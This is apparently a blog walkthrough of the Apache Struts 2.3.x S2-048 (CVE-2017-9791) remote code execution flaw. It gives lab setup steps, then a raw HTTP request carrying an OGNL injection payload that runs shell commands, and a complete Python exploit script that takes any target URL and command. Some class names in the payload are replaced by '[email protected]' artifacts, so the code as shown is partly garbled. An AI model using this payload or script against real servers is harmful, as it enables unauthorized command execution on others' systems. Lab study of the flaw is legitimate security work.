Apache Struts 2.3.x – Struts1 Integration Remote Code Execution
A vulnerablity that possible RCE in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series, when using untrusted input as a part of the message in the ActionMessage class.
messages.add(“msg”, new ActionMessage(your_message));
The message (your_message) processed by the server may potentially cause a remote code execution. To fulfill its execution potential, a remote entry point is required for the message. Following the route of the vulnerable code leads to this location:
/struts2/integration/saveGangster.action
Affected Software: Struts 2.3.x with Struts 1 plugin and Struts 1 action
Seting labs on Ubuntu
The first, you need to install apache tomcat as following the instructions: https://help.ubuntu.com/lts/serverguide/tomcat.html
After install apache tomcat, Dowload struts2-showcase version 2.3.15.1 from: https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase/2.3.15.1
To deploy the struts2-showcase application, simply copy the war-file into Tomcat’s “webapps” directory (/var/www/lib/tomcat7/webapps).
Let’s stop service tomcat (sudo service tomcat7 stop) and copy the struts2 application struts2.war into Tomcat’s “webapps”. Start your Tomcat. The war-file will be unzipped and deployed automatically.
cd /var/lib/tomcat7/webapps/ sudo wget http://central.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.15.1/struts2-showcase-2.3.15.1.war sudo mv struts2-showcase-2.3.15.1.war struts2.war sudo chmod 755 struts2.war sudo service tomcat7 restart
Go to browser and access to address: http://your_ip:8080/struts2/, the struts2-showcase application installed successfully
Exploit
The web page reveals several inputs controlled by the user, including name, age, checkbox_bustedBefore and description:
The server receives the input parameter “name” using the following code.
messages.add(“msg”, new ActionMessage(“Gangster ” + gform.getName() + ” was added”));
That code leads to the vulnerability to remote code execution as follows request:
POST /struts2/integration/saveGangster.action;jsessionid=659BB9C1FAB3D4F9C3F4561133A825F6 HTTP/1.1 Host: 192.168.126.133:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 877 Referer: http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster Cookie: JSESSIONID=659BB9C1FAB3D4F9C3F4561133A825F6 Connection: close Upgrade-Insecure-Requests: 1 age=bbb &__checkbox_bustedBefore=true &description=1 &name=${(#szgx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='uname+-a').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.close())}
The above request implements the command “uname -a”:
python exploit script:
#!/usr/bin/python # Just a demo for CVE-2017-9791 S2-048 import requests import urlparse import sys def exploit(url, cmd): print("[+] command: %s" % cmd) payload = "${" payload += "(#szgx='multipart/form-data')." payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@[email protected]))." payload += "(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@[email protected]('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@[email protected]().getOutputStream()))." payload += "(@[email protected](#process.getInputStream(),#ros)).(#ros.close())" payload += "}" data = { "name": payload, "age": 1, "__checkbox_bustedBefore": "true", "description": 1 } try: r = requests.post(url, data=data) print r.text except Exception as e: print str(e) if __name__ == '__main__': if len(sys.argv) != 3: print("Usage: python exploit_S2-048.py ") sys.exit(1) print('[*] exploit Apache Struts2 S2-048') url = urlparse.urljoin(sys.argv[1], "integration/saveGangster.action") cmd = sys.argv[2] exploit(url, cmd) # python exploit_S2-048.py http://192.168.126.133:8080/struts2/ "uname -a"
Following is an exploit result:
Reference:
https://cwiki.apache.org/confluence/display/WW/S2-048